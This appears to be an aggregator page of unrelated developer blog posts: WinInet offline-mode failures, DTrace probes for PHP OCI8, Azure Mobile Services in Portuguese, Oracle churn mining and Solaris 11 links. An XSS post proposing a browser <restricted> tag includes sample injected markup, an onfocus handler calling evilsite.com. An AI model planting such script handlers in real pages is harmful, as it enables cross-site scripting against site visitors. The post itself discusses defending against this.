Movie is passed to this method. The method simply displays the primary key of the new Movie: Summary The OData protocol (and its enabling technology named WCF Data Services) works very nicely with Ajax. By creating a WCF Data Service, you can quickly expose your database data to an Ajax application by taking advantage of open standards such as REST, JSON, and OData. In the next blog entry, I want to take a closer look at how the OData protocol supports different methods of querying data.

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• WinInet Apps failing when Internet Explorer is set to Offline Mode

  - by Rick Strahl

  Ran into a nasty issue last week when all of a sudden many of my old applications that are using WinInet for HTTP access started failing. Specifically, the WinInet HttpSendRequest() call started failing with an error of 2, which when retrieving the error boils down to: WinInet Error 2: The system cannot find the file specified Now this error can pop up in many legitimate scenarios with WinInet such as when no Internet connection is available or the HTTP configuration (usually configured in Internet Explorer’s options) is misconfigured. The error typically means that the server in question cannot be found or more specifically an Internet connection can’t be established. In this case the problem started suddenly and was causing some of my own applications (old Visual FoxPro apps using my own wwHttp library) and all Adobe Air applications (which apparently uses WinInet for its basic HTTP stack) along with a few more oddball applications to fail instantly when trying to connect via HTTP. Most other applications – all of my installed browsers, email clients, various social network updaters all worked just fine. It seems it was only WinInet apps that were failing. Yet oddly Internet Explorer appeared to be working. So the problem seemed to be isolated to those ‘classic’ applications using WinInet. WinInet’s base configuration uses the Internet Explorer options dialog. To check this out I typically go to the Internet Explorer options and find the Connection tab, and check out the LAN Setup. Make sure there are no rogue proxy settings or configuration scripts that are invalid. Trying with Auto-configuration on and off also can often fix ‘real’ configuration errors. This time however this wasn’t a problem – nothing in the LAN configuration was set (all default). I also played with the Automatic detection of settings which also had no effect. I also tried to use Fiddler to see if that would tell me something. Fiddler has a few additional WinInet configuration options in its configuration. Running Fiddler and hitting an HTTP request using WinInet would never actually hit Fiddler – the failure would occur before WinInet ever fired up the HTTP connection to go through the Fiddler HTTP proxy. And the Culprit is: Internet Explorer’s Work Offline Option The culprit in this situation was Internet Explorer which at some point, unknown to me switched into Offline Mode and was then shut down: When this Offline mode is checked when IE is running *or* if IE gets shut down with this flag set, all applications using WinInet by default assume that it’s running in offline mode. Depending on your caching HTTP headers and whether the page was cached previously you may or may not get a response or an error. For an independent non-browser application this will be highly unpredictable and likely result in failures getting online – especially if the application forces requests to always reload by disabling HTTP caching (as I do on most of my dynamic HTTP clients). What makes this especially tricky is that even when IE is in offline mode in the browser, you can still browse around the Web *if* you have a connection. IE will try to load anything it has cached from the local cache, but as soon as you hit a URL that isn’t cached it will automatically try to access that URL and uncheck the Work Offline option. Conversely if you get knocked off the Internet and browse in IE 9, IE will automatically go into offline mode. I never explicitly set offline mode – it just automatically sets itself on and off depending on the connection. Problem is if you’re not using IE all the time (as I do – rarely and just for testing so usually a few commonly used URLs) and you left it in offline mode when you exit, offline mode stays set which results in the above head scratcher. Ack. This isn’t new behavior in IE 9 BTW – this behavior has always been there, but I think what’s different is that IE now automatically switches between online and offline modes without notifying you at all, so it’s hard to tell when you are offline. Fixing the Issue in your Code If you have an application that is using WinInet, there’s a WinInet option called INTERNET_OPTION_IGNORE_OFFLINE. I just checked this out in my own applications and Internet Explorer 9 and it works, but apparently it’s been broken for some older releases (I can’t confirm how far back though) – lots of posts seem to suggest the flag doesn’t work. However, in IE 9 at least it does seem to work if you call InternetSetOption before you call HttpOpenRequest with the Http Session handle. In FoxPro code I use: DECLARE INTEGER InternetSetOption ;    IN WININET.DLL ;    INTEGER HINTERNET,;    INTEGER dwFlags,;    INTEGER @dwValue,;    INTEGER cbSize lnOptionValue = 1   && BOOL TRUE pass by reference   *** Set needed SSL flags lnResult=InternetSetOption(this.hHttpSession,;    INTERNET_OPTION_IGNORE_OFFLINE ,;  && 77    @lnOptionValue ,4)   DECLARE INTEGER HttpOpenRequest ;    IN WININET.DLL ;    INTEGER hHTTPHandle,;    STRING lpzReqMethod,;    STRING lpzPage,;    STRING lpzVersion,;    STRING lpzReferer,;    STRING lpzAcceptTypes,;    INTEGER dwFlags,;    INTEGER dwContextw     hHTTPResult=HttpOpenRequest(THIS.hHttpsession,;    lcVerb,;    tcPage,;    NULL,NULL,NULL,;    INTERNET_FLAG_RELOAD + ;    IIF(THIS.lsecurelink,INTERNET_FLAG_SECURE,0) + ;    this.nHTTPServiceFlags,0) …  And this fixes the issue at least for IE 9… In my FoxPro wwHttp class I now call this by default to never get bitten by this again… This solves the problem permanently for my HTTP client. I never want to see offline operation in an HTTP client API – it’s just too unpredictable in handling errors and the last thing you want is getting unpredictably stale data. Problem solved but this behavior is – well ugly. But then that’s to be expected from an API that’s based on Internet Explorer, eh?© Rick Strahl, West Wind Technologies, 2005-2011Posted in HTTP  Windows  

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• Adding DTrace Probes to PHP Extensions

  - by cj

  The powerful DTrace tracing facility has some PHP-specific probes that can be enabled with --enable-dtrace. DTrace for Linux is being created by Oracle and is currently in tech preview. Currently it doesn't support userspace tracing so, in the meantime, Systemtap can be used to monitor the probes implemented in PHP. This was recently outlined in David Soria Parra's post Probing PHP with Systemtap on Linux. My post shows how DTrace probes can be added to PHP extensions and traced on Linux. I was using Oracle Linux 6.3. Not all Linux kernels are built with Systemtap, since this can impact stability. Check whether your running kernel (or others installed) have Systemtap enabled, and reboot with such a kernel: # grep CONFIG_UTRACE /boot/config-`uname -r` # grep CONFIG_UTRACE /boot/config-* When you install Systemtap itself, the package systemtap-sdt-devel is needed since it provides the sdt.h header file: # yum install systemtap-sdt-devel You can now install and build PHP as shown in David's article. Basically the build is with: $ cd ~/php-src $ ./configure --disable-all --enable-dtrace $ make (For me, running 'make' a second time failed with an error. The workaround is to do 'git checkout Zend/zend_dtrace.d' and then rerun 'make'. See PHP Bug 63704) David's article shows how to trace the probes already implemented in PHP. You can also use Systemtap to trace things like userspace PHP function calls. For example, create test.php: <?php $c = oci_connect('hr', 'welcome', 'localhost/orcl'); $s = oci_parse($c, "select dbms_xmlgen.getxml('select * from dual') xml from dual"); $r = oci_execute($s); $row = oci_fetch_array($s, OCI_NUM); $x = $row[0]->load(); $row[0]->free(); echo $x; ?> The normal output of this file is the XML form of Oracle's DUAL table: $ ./sapi/cli/php ~/test.php <?xml version="1.0"?> <ROWSET> <ROW> <DUMMY>X</DUMMY> </ROW> </ROWSET> To trace the PHP function calls, create the tracing file functrace.stp: probe process("sapi/cli/php").function("zif_*") { printf("Started function %s\n", probefunc()); } probe process("sapi/cli/php").function("zif_*").return { printf("Ended function %s\n", probefunc()); } This makes use of the way PHP userspace functions (not builtins) like oci_connect() map to C functions with a "zif_" prefix. Login as root, and run System tap on the PHP script: # cd ~cjones/php-src # stap -c 'sapi/cli/php ~cjones/test.php' ~cjones/functrace.stp Started function zif_oci_connect Ended function zif_oci_connect Started function zif_oci_parse Ended function zif_oci_parse Started function zif_oci_execute Ended function zif_oci_execute Started function zif_oci_fetch_array Ended function zif_oci_fetch_array Started function zif_oci_lob_load <?xml version="1.0"?> <ROWSET> <ROW> <DUMMY>X</DUMMY> </ROW> </ROWSET> Ended function zif_oci_lob_load Started function zif_oci_free_descriptor Ended function zif_oci_free_descriptor Each call and return is logged. The Systemtap scripting language allows complex scripts to be built. There are many examples on the web. To augment this generic capability and the PHP probes in PHP, other extensions can have probes too. Below are the steps I used to add probes to OCI8: I created a provider file ext/oci8/oci8_dtrace.d, enabling three probes. The first one will accept a parameter that runtime tracing can later display: provider php { probe oci8__connect(char *username); probe oci8__nls_start(); probe oci8__nls_done(); }; I updated ext/oci8/config.m4 with the PHP_INIT_DTRACE macro. The patch is at the end of config.m4. The macro takes the provider prototype file, a name of the header file that 'dtrace' will generate, and a list of sources files with probes. When --enable-dtrace is used during PHP configuration, then the outer $PHP_DTRACE check is true and my new probes will be enabled. I've chosen to define an OCI8 specific macro, HAVE_OCI8_DTRACE, which can be used in the OCI8 source code: diff --git a/ext/oci8/config.m4 b/ext/oci8/config.m4 index 34ae76c..f3e583d 100644 --- a/ext/oci8/config.m4 +++ b/ext/oci8/config.m4 @@ -341,4 +341,17 @@ if test "$PHP_OCI8" != "no"; then PHP_SUBST_OLD(OCI8_ORACLE_VERSION) fi + + if test "$PHP_DTRACE" = "yes"; then + AC_CHECK_HEADERS([sys/sdt.h], [ + PHP_INIT_DTRACE([ext/oci8/oci8_dtrace.d], + [ext/oci8/oci8_dtrace_gen.h],[ext/oci8/oci8.c]) + AC_DEFINE(HAVE_OCI8_DTRACE,1, + [Whether to enable DTrace support for OCI8 ]) + ], [ + AC_MSG_ERROR( + [Cannot find sys/sdt.h which is required for DTrace support]) + ]) + fi + fi In ext/oci8/oci8.c, I added the probes at, for this example, semi-arbitrary places: diff --git a/ext/oci8/oci8.c b/ext/oci8/oci8.c index e2241cf..ffa0168 100644 --- a/ext/oci8/oci8.c +++ b/ext/oci8/oci8.c @@ -1811,6 +1811,12 @@ php_oci_connection *php_oci_do_connect_ex(char *username, int username_len, char } } +#ifdef HAVE_OCI8_DTRACE + if (DTRACE_OCI8_CONNECT_ENABLED()) { + DTRACE_OCI8_CONNECT(username); + } +#endif + /* Initialize global handles if they weren't initialized before */ if (OCI_G(env) == NULL) { php_oci_init_global_handles(TSRMLS_C); @@ -1870,11 +1876,22 @@ php_oci_connection *php_oci_do_connect_ex(char *username, int username_len, char size_t rsize = 0; sword result; +#ifdef HAVE_OCI8_DTRACE + if (DTRACE_OCI8_NLS_START_ENABLED()) { + DTRACE_OCI8_NLS_START(); + } +#endif PHP_OCI_CALL_RETURN(result, OCINlsEnvironmentVariableGet, (&charsetid_nls_lang, 0, OCI_NLS_CHARSET_ID, 0, &rsize)); if (result != OCI_SUCCESS) { charsetid_nls_lang = 0; } smart_str_append_unsigned_ex(&hashed_details, charsetid_nls_lang, 0); + +#ifdef HAVE_OCI8_DTRACE + if (DTRACE_OCI8_NLS_DONE_ENABLED()) { + DTRACE_OCI8_NLS_DONE(); + } +#endif } timestamp = time(NULL); The oci_connect(), oci_pconnect() and oci_new_connect() calls all use php_oci_do_connect_ex() internally. The first probe simply records that the PHP application made a connection call. I already showed a way to do this without needing a probe, but adding a specific probe lets me record the username. The other two probes can be used to time how long the globalization initialization takes. The relationships between the oci8_dtrace.d names like oci8__connect, the probe guards like DTRACE_OCI8_CONNECT_ENABLED() and probe names like DTRACE_OCI8_CONNECT() are obvious after seeing the pattern of all three probes. I included the new header that will be automatically created by the dtrace tool when PHP is built. I did this in ext/oci8/php_oci8_int.h: diff --git a/ext/oci8/php_oci8_int.h b/ext/oci8/php_oci8_int.h index b0d6516..c81fc5a 100644 --- a/ext/oci8/php_oci8_int.h +++ b/ext/oci8/php_oci8_int.h @@ -44,6 +44,10 @@ # endif # endif /* osf alpha */ +#ifdef HAVE_OCI8_DTRACE +#include "oci8_dtrace_gen.h" +#endif + #if defined(min) #undef min #endif Now PHP can be rebuilt: $ cd ~/php-src $ rm configure && ./buildconf --force $ ./configure --disable-all --enable-dtrace \ --with-oci8=instantclient,/home/cjones/instantclient $ make If 'make' fails, do the 'git checkout Zend/zend_dtrace.d' trick I mentioned. The new probes can be seen by logging in as root and running: # stap -l 'process.provider("php").mark("oci8*")' -c 'sapi/cli/php -i' process("sapi/cli/php").provider("php").mark("oci8__connect") process("sapi/cli/php").provider("php").mark("oci8__nls_done") process("sapi/cli/php").provider("php").mark("oci8__nls_start") To test them out, create a new trace file, oci.stp: global numconnects; global start; global numcharlookups = 0; global tottime = 0; probe process.provider("php").mark("oci8-connect") { printf("Connected as %s\n", user_string($arg1)); numconnects += 1; } probe process.provider("php").mark("oci8-nls_start") { start = gettimeofday_us(); numcharlookups++; } probe process.provider("php").mark("oci8-nls_done") { tottime += gettimeofday_us() - start; } probe end { printf("Connects: %d, Charset lookups: %ld\n", numconnects, numcharlookups); printf("Total NLS charset initalization time: %ld usecs/connect\n", (numcharlookups 0 ? tottime/numcharlookups : 0)); } This calculates the average time that the NLS character set lookup takes. It also prints out the username of each connection, as an example of using parameters. Login as root and run Systemtap over the PHP script: # cd ~cjones/php-src # stap -c 'sapi/cli/php ~cjones/test.php' ~cjones/oci.stp Connected as cj <?xml version="1.0"?> <ROWSET> <ROW> <DUMMY>X</DUMMY> </ROW> </ROWSET> Connects: 1, Charset lookups: 1 Total NLS charset initalization time: 164 usecs/connect This shows the time penalty of making OCI8 look up the default character set. This time would be zero if a character set had been passed as the fourth argument to oci_connect() in test.php.

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• Anunciando Windows Azure Mobile Services (Serviços Móveis da Windows Azure)

  - by Leniel Macaferi

  Estou animado para anunciar uma nova capacidade que estamos adicionando à Windows Azure hoje: Windows Azure Mobile Services (Serviços Móveis da Windows Azure) Os Serviços Móveis da Windows Azure tornam incrivelmente fácil conectar um backend da nuvem escalável em suas aplicações clientes e móveis. Estes serviços permitem que você facilmente armazene dados estruturados na nuvem que podem abranger dispositivos e usuários, integrando tais dados com autenticação do usuário. Você também pode enviar atualizações para os clientes através de notificações push. O lançamento de hoje permite que você adicione essas capacidades em qualquer aplicação Windows 8 em literalmente minutos, e fornece uma maneira super produtiva para que você transforme rapidamente suas ideias em aplicações. Também vamos adicionar suporte para permitir esses mesmos cenários para o Windows Phone, iOS e dispositivos Android em breve. Leia este tutorial inicial (em Inglês) que mostra como você pode construir (em menos de 5 minutos) uma simples aplicação Windows 8 "Todo List" (Lista de Tarefas) que é habilitada para a nuvem usando os Serviços Móveis da Windows Azure. Ou assista este vídeo (em Inglês) onde mostro como construí-la passo a passo. Começando Se você ainda não possui uma conta na Windows Azure, você pode se inscrever usando uma assinatura gratuita sem compromisso. Uma vez inscrito, clique na seção "preview features" logo abaixo da tab "account" (conta) no website www.windowsazure.com e ative sua conta para ter acesso ao preview dos "Mobile Services" (Serviços Móveis). Instruções sobre como ativar estes novos recursos podem ser encontradas aqui (em Inglês). Depois de habilitar os Serviços Móveis, entre no Portal da Windows Azure, clique no botão "New" (Novo) e escolha o novo ícone "Mobile Services" (Serviços Móveis) para criar o seu primeiro backend móvel. Uma vez criado, você verá uma página de início rápido como a mostrada a seguir com instruções sobre como conectar o seu serviço móvel a uma aplicação Windows 8 cliente já existente, a qual você já tenha começado a implementar, ou como criar e conectar uma nova aplicação Windows 8 cliente ao backend móvel: Leia este tutorial inicial (em Inglês) com explicações passo a passo sobre como construir (em menos de 5 minutos) uma simples aplicação Windows 8 "Todo List" (Lista de Tarefas) que armazena os dados na Windows Azure. Armazenamento Dados na Nuvem Armazenar dados na nuvem com os Serviços Móveis da Windows Azure é incrivelmente fácil. Quando você cria um Serviço Móvel da Windows Azure, nós automaticamente o associamos com um banco de dados SQL dentro da Windows Azure. O backend do Serviço Móvel da Windows Azure então fornece suporte nativo para permitir que aplicações remotas armazenem e recuperem dados com segurança através dele (usando end-points REST seguros, através de um formato OData baseado em JSON) - sem que você tenha que escrever ou implantar qualquer código personalizado no servidor. Suporte integrado para o gerenciamento do backend é fornecido dentro do Portal da Windows Azure para a criação de novas tabelas, navegação pelos dados, criação de índices, e controle de permissões de acesso. Isto torna incrivelmente fácil conectar aplicações clientes na nuvem, e permite que os desenvolvedores de aplicações desktop que não têm muito conhecimento sobre código que roda no servidor sejam produtivos desde o início. Eles podem se concentrar na construção da experiência da aplicação cliente, tirando vantagem dos Serviços Móveis da Windows Azure para fornecer os serviços de backend da nuvem que se façam necessários.  A seguir está um exemplo de código Windows 8 C#/XAML do lado do cliente que poderia ser usado para consultar os dados de um Serviço Móvel da Windows Azure. Desenvolvedores de aplicações que rodam no cliente e que usam C# podem escrever consultas como esta usando LINQ e objetos fortemente tipados POCO, os quais serão mais tarde traduzidos em consultas HTTP REST que são executadas em um Serviço Móvel da Windows Azure. Os desenvolvedores não precisam escrever ou implantar qualquer código personalizado no lado do servidor para permitir que o código do lado do cliente mostrado a seguir seja executado de forma assíncrona preenchendo a interface (UI) do cliente: Como os Serviços Móveis fazem parte da Windows Azure, os desenvolvedores podem escolher mais tarde se querem aumentar ou estender sua solução adicionando funcionalidades no lado do servidor bem como lógica de negócio mais avançada, se quiserem. Isso proporciona o máximo de flexibilidade, e permite que os desenvolvedores ampliem suas soluções para atender qualquer necessidade. Autenticação do Usuário e Notificações Push Os Serviços Móveis da Windows Azure também tornam incrivelmente fácil integrar autenticação/autorização de usuários e notificações push em suas aplicações. Você pode usar esses recursos para habilitar autenticação e controlar as permissões de acesso aos dados que você armazena na nuvem de uma maneira granular. Você também pode enviar notificações push para os usuários/dispositivos quando os dados são alterados. Os Serviços Móveis da Windows Azure suportam o conceito de "scripts do servidor" (pequenos pedaços de script que são executados no servidor em resposta a ações), os quais tornam a habilitação desses cenários muito fácil. A seguir estão links para alguns tutoriais (em Inglês) no formato passo a passo para cenários comuns de autenticação/autorização/push que você pode utilizar com os Serviços Móveis da Windows Azure e aplicações Windows 8: Habilitando Autenticação do Usuário Autorizando Usuários  Começando com Push Notifications Push Notifications para múltiplos Usuários Gerencie e Monitore seu Serviço Móvel Assim como todos os outros serviços na Windows Azure, você pode monitorar o uso e as métricas do backend de seu Serviço Móvel usando a tab "Dashboard" dentro do Portal da Windows Azure. A tab Dashboard fornece uma visão de monitoramento que mostra as chamadas de API, largura de banda e ciclos de CPU do servidor consumidos pelo seu Serviço Móvel da Windows Azure. Você também usar a tab "Logs" dentro do portal para ver mensagens de erro.  Isto torna fácil monitorar e controlar como sua aplicação está funcionando. Aumente a Capacidade de acordo com o Crescimento do Seu Negócio Os Serviços Móveis da Windows Azure agora permitem que cada cliente da Windows Azure crie e execute até 10 Serviços Móveis de forma gratuita, em um ambiente de hospedagem compartilhado com múltiplos banco de dados (onde o backend do seu Serviço Móvel será um dos vários aplicativos sendo executados em um conjunto compartilhado de recursos do servidor). Isso fornece uma maneira fácil de começar a implementar seus projetos sem nenhum custo algum (nota: cada conta gratuita da Windows Azure também inclui um banco de dados SQL de 1GB que você pode usar com qualquer número de aplicações ou Serviços Móveis da Windows Azure). Se sua aplicação cliente se tornar popular, você pode clicar na tab "Scale" (Aumentar Capacidade) do seu Serviço Móvel e mudar de "Shared" (Compartilhado) para o modo "Reserved" (Reservado). Isso permite que você possa isolar suas aplicações de maneira que você seja o único cliente dentro de uma máquina virtual. Isso permite que você dimensione elasticamente a quantidade de recursos que suas aplicações consomem - permitindo que você aumente (ou diminua) sua capacidade de acordo com o tráfego de dados: Com a Windows Azure você paga por capacidade de processamento por hora - o que te permite dimensionar para cima e para baixo seus recursos para atender apenas o que você precisa. Isso permite um modelo super flexível que é ideal para novos cenários de aplicações móveis, bem como para novas empresas que estão apenas começando. Resumo Eu só toquei na superfície do que você pode fazer com os Serviços Móveis da Windows Azure - há muito mais recursos para explorar. Com os Serviços Móveis da Windows Azure, você será capaz de construir cenários de aplicações móveis mais rápido do que nunca, permitindo experiências de usuário ainda melhores - conectando suas aplicações clientes na nuvem. Visite o centro de desenvolvimento dos Serviços Móveis da Windows Azure (em Inglês) para aprender mais, e construa sua primeira aplicação Windows 8 conectada à Windows Azure hoje. E leia este tutorial inicial (em Inglês) com explicações passo a passo que mostram como você pode construir (em menos de 5 minutos) uma simples aplicação Windows 8 "Todo List" (Lista de Tarefas) habilitada para a nuvem usando os Serviços Móveis da Windows Azure. Espero que ajude, - Scott P.S. Além do blog, eu também estou utilizando o Twitter para atualizações rápidas e para compartilhar links. Siga-me em: twitter.com/ScottGu Texto traduzido do post original por Leniel Macaferi.

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• Wishful Thinking: Why can't HTML fix Script Attacks at the Source?

  - by Rick Strahl

  The Web can be an evil place, especially if you're a Web Developer blissfully unaware of Cross Site Script Attacks (XSS). Even if you are aware of XSS in all of its insidious forms, it's extremely complex to deal with all the issues if you're taking user input and you're actually allowing users to post raw HTML into an application. I'm dealing with this again today in a Web application where legacy data contains raw HTML that has to be displayed and users ask for the ability to use raw HTML as input for listings. The first line of defense of course is: Just say no to HTML input from users. If you don't allow HTML input directly and use HTML Encoding (HttyUtility.HtmlEncode() in .NET or using standard ASP.NET MVC output @Model.Content) you're fairly safe at least from the HTML input provided. Both WebForms and Razor support HtmlEncoded content, although Razor makes it the default. In Razor the default @ expression syntax:@Model.UserContent automatically produces HTML encoded content - you actually have to go out of your way to create raw HTML content (safe by default) using @Html.Raw() or the HtmlString class. In Web Forms (V4) you can use:<%: Model.UserContent %> or if you're using a version prior to 4.0:<%= HttpUtility.HtmlEncode(Model.UserContent) %> This works great as a hedge against embedded <script> tags and HTML markup as any HTML is turned into text that displays as HTML but doesn't render the HTML. But it turns any embedded HTML markup tags into plain text. If you need to display HTML in raw form with the markup tags rendering based on user input this approach is worthless. If you do accept HTML input and need to echo the rendered HTML input back, the task of cleaning up that HTML is a complex task. In the projects I work on, customers are frequently asking for the ability to post raw HTML quite frequently.  Almost every app that I've built where there's document content from users we start out with text only input - possibly using something like MarkDown - but inevitably users want to just post plain old HTML they created in some other rich editing application. See this a lot with realtors especially who often want to reuse their postings easily in multiple places. In my work this is a common problem I need to deal with and I've tried dozens of different methods from sanitizing, simple rejection of input to custom markup schemes none of which have ever felt comfortable to me. They work in a half assed, hacked together sort of way but I always live in fear of missing something vital which is *really easy to do*. My Wishlist Item: A <restricted> tag in HTML Let me dream here for a second on how to address this problem. It seems to me the easiest place where this can be fixed is: In the browser. Browsers are actually executing script code so they have a lot of control over the script code that resides in a page. What if there was a way to specify that you want to turn off script code for a block of HTML? The main issue when dealing with HTML raw input isn't that we as developers are unaware of the implications of user input, but the fact that we sometimes have to display raw HTML input the user provides. So the problem markup is usually isolated in only a very specific part of the document. So, what if we had a way to specify that in any given HTML block, no script code could execute by wrapping it into a tag that disables all script functionality in the browser? This would include <script> tags and any document script attributes like onclick, onfocus etc. and potentially also disallow things like iFrames that can potentially be scripted from the within the iFrame's target. I'd like to see something along these lines:<article> <restricted allowscripts="no" allowiframes="no"> <div>Some content</div> <script>alert('go ahead make my day, punk!");</script> <div onfocus="$.getJson('http://evilsite.com/')">more content</div> </restricted> </article> A tag like this would basically disallow all script code from firing from any HTML that's rendered within it. You'd use this only on code that you actually render from your data only and only if you are dealing with custom data. So something like this:<article> <restricted> @Html.Raw(Model.UserContent) </restricted> </article> For browsers this would actually be easy to intercept. They render the DOM and control loading and execution of scripts that are loaded through it. All the browser would have to do is suspend execution of <script> tags and not hookup any event handlers defined via markup in this block. Given all the crazy XSS attacks that exist and the prevalence of this problem this would go a long way towards preventing at least coded script attacks in the DOM. And it seems like a totally doable solution that wouldn't be very difficult to implement by vendors. There would also need to be some logic in the parser to not allow an </restricted> or <restricted> tag into the content as to short-circuit the rstricted section (per James Hart's comment). I'm sure there are other issues to consider as well that I didn't think of in my off-the-back-of-a-napkin concept here but the idea overall seems worth consideration I think. Without code running in a user supplied HTML block it'd be pretty hard to compromise a local HTML document and pass information like Cookies to a server. Or even send data to a server period. Short of an iFrame that can access the parent frame (which is another restriction that should be available on this <restricted> tag) that could potentially communicate back, there's not a lot a malicious site could do. The HTML could still 'phone home' via image links and href links potentially and basically say this site was accessed, but without the ability to run script code it would be pretty tough to pass along critical information to the server beyond that. Ahhhh… one can dream… Not holding my breath of course. The design by committee that is the W3C can't agree on anything in timeframes measured less than decades, but maybe this is one place where browser vendors can actually step up the pressure. This is something in their best interest to reduce the attack surface for vulnerabilities on their browser platforms significantly. Several people commented on Twitter today that there isn't enough discussion on issues like this that address serious needs in the web browser space. Realistically security has to be a number one concern with Web applications in general - there isn't a Web app out there that is not vulnerable. And yet nothing has been done to address these security issues even though there might be relatively easy solutions to make this happen. It'll take time, and it's probably not going to happen in our lifetime, but maybe this rambling thought sparks some ideas on how this sort of restriction can get into browsers in some way in the future.© Rick Strahl, West Wind Technologies, 2005-2012Posted in ASP.NET  HTML5  HTML  Security   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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• Oracle Data Mining a Star Schema: Telco Churn Case Study

  - by charlie.berger

  There is a complete and detailed Telco Churn case study "How to" Blog Series just posted by Ari Mozes, ODM Dev. Manager.  In it, Ari provides detailed guidance in how to leverage various strengths of Oracle Data Mining including the ability to: mine Star Schemas and join tables and views together to obtain a complete 360 degree view of a customer combine transactional data e.g. call record detail (CDR) data, etc. define complex data transformation, model build and model deploy analytical methodologies inside the Database  His blog is posted in a multi-part series.  Below are some opening excerpts for the first 3 blog entries.  This is an excellent resource for any novice to skilled data miner who wants to gain competitive advantage by mining their data inside the Oracle Database.  Many thanks Ari! Mining a Star Schema: Telco Churn Case Study (1 of 3) One of the strengths of Oracle Data Mining is the ability to mine star schemas with minimal effort.  Star schemas are commonly used in relational databases, and they often contain rich data with interesting patterns.  While dimension tables may contain interesting demographics, fact tables will often contain user behavior, such as phone usage or purchase patterns.  Both of these aspects - demographics and usage patterns - can provide insight into behavior.Churn is a critical problem in the telecommunications industry, and companies go to great lengths to reduce the churn of their customer base.  One case study1 describes a telecommunications scenario involving understanding, and identification of, churn, where the underlying data is present in a star schema.  That case study is a good example for demonstrating just how natural it is for Oracle Data Mining to analyze a star schema, so it will be used as the basis for this series of posts...... Mining a Star Schema: Telco Churn Case Study (2 of 3) This post will follow the transformation steps as described in the case study, but will use Oracle SQL as the means for preparing data.  Please see the previous post for background material, including links to the case study and to scripts that can be used to replicate the stages in these posts.1) Handling missing values for call data recordsThe CDR_T table records the number of phone minutes used by a customer per month and per call type (tariff).  For example, the table may contain one record corresponding to the number of peak (call type) minutes in January for a specific customer, and another record associated with international calls in March for the same customer.  This table is likely to be fairly dense (most type-month combinations for a given customer will be present) due to the coarse level of aggregation, but there may be some missing values.  Missing entries may occur for a number of reasons: the customer made no calls of a particular type in a particular month, the customer switched providers during the timeframe, or perhaps there is a data entry problem.  In the first situation, the correct interpretation of a missing entry would be to assume that the number of minutes for the type-month combination is zero.  In the other situations, it is not appropriate to assume zero, but rather derive some representative value to replace the missing entries.  The referenced case study takes the latter approach.  The data is segmented by customer and call type, and within a given customer-call type combination, an average number of minutes is computed and used as a replacement value.In SQL, we need to generate additional rows for the missing entries and populate those rows with appropriate values.  To generate the missing rows, Oracle's partition outer join feature is a perfect fit.  select cust_id, cdre.tariff, cdre.month, minsfrom cdr_t cdr partition by (cust_id) right outer join     (select distinct tariff, month from cdr_t) cdre     on (cdr.month = cdre.month and cdr.tariff = cdre.tariff);   ....... Mining a Star Schema: Telco Churn Case Study (3 of 3) Now that the "difficult" work is complete - preparing the data - we can move to building a predictive model to help identify and understand churn.The case study suggests that separate models be built for different customer segments (high, medium, low, and very low value customer groups).  To reduce the data to a single segment, a filter can be applied: create or replace view churn_data_high asselect * from churn_prep where value_band = 'HIGH'; It is simple to take a quick look at the predictive aspects of the data on a univariate basis.  While this does not capture the more complex multi-variate effects as would occur with the full-blown data mining algorithms, it can give a quick feel as to the predictive aspects of the data as well as validate the data preparation steps.  Oracle Data Mining includes a predictive analytics package which enables quick analysis. begin  dbms_predictive_analytics.explain(   'churn_data_high','churn_m6','expl_churn_tab'); end; /select * from expl_churn_tab where rank <= 5 order by rank; ATTRIBUTE_NAME       ATTRIBUTE_SUBNAME EXPLANATORY_VALUE RANK-------------------- ----------------- ----------------- ----------LOS_BAND                                      .069167052          1MINS_PER_TARIFF_MON  PEAK-5                   .034881648          2REV_PER_MON          REV-5                    .034527798          3DROPPED_CALLS                                 .028110322          4MINS_PER_TARIFF_MON  PEAK-4                   .024698149          5From the above results, it is clear that some predictors do contain information to help identify churn (explanatory value > 0).  The strongest uni-variate predictor of churn appears to be the customer's (binned) length of service.  The second strongest churn indicator appears to be the number of peak minutes used in the most recent month.  The subname column contains the interior piece of the DM_NESTED_NUMERICALS column described in the previous post.  By using the object relational approach, many related predictors are included within a single top-level column. .....   NOTE:  These are just EXCERPTS.  Click here to start reading the Oracle Data Mining a Star Schema: Telco Churn Case Study from the beginning.    

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• Solaris 11 Launch Blog Carnival Roundup

  - by constant

  Solaris 11 is here! And together with the official launch activities, a lot of Oracle and non-Oracle bloggers contributed helpful and informative blog articles to help your datacenter go to eleven. Here are some notable blog postings, sorted by category for your Solaris 11 blog-reading pleasure: Getting Started/Overview A lot of people speculated that the official launch of Solaris 11 would be on 11/11 (whatever way you want to turn it), but it actually happened two days earlier. Larry Wake himself offers 11 Reasons Why Oracle Solaris 11 11/11 Isn't Being Released on 11/11/11. Then, Larry goes on with a summary: Oracle Solaris 11: The First Cloud OS gives you a short and sweet rundown of what the major new features of Solaris 11 are. Jeff Victor has his own list of What's New in Oracle Solaris 11. A popular Solaris 11 meme is to write a blog post about 11 favourite features: Jim Laurent's 11 Reasons to Love Solaris 11, Darren Moffat's 11 Favourite Solaris 11 Features, Mike Gerdt's 11 of My Favourite Things! are just three examples of "11 Favourite Things..." type blog posts, I'm sure many more will follow... More official overview content for Solaris 11 is available from the Oracle Tech Network Solaris 11 Portal. Also, check out Rick Ramsey's blog post Solaris 11 Resources for System Administrators on the OTN Blog and his secret 5 Commands That Make Solaris Administration Easier post from the OTN Garage. (Automatic) Installation and the Image Packaging System (IPS) The brand new Image Packaging System (IPS) and the Automatic Installer (IPS), together with numerous other install/packaging/boot/patching features are among the most significant improvements in Solaris 11. But before installing, you may wonder whether Solaris 11 will support your particular set of hardware devices. Again, the OTN Garage comes to the rescue with Rick Ramsey's post How to Find Out Which Devices Are Supported By Solaris 11. Included is a useful guide to all the first steps to get your Solaris 11 system up and running. Tim Foster had a whole handful of blog posts lined up for the launch, teaching you everything you need to know about IPS but didn't dare to ask: The IPS System Repository, IPS Self-assembly - Part 1: Overlays and Part 2: Multiple Packages Delivering Configuration. Watch out for more IPS posts from Tim! If installing packages or upgrading your system from the net makes you uneasy, then you're not alone: Jim Laurent will tech you how Building a Solaris 11 Repository Without Network Connection will make your life easier. Many of you have already peeked into the future by installing Solaris 11 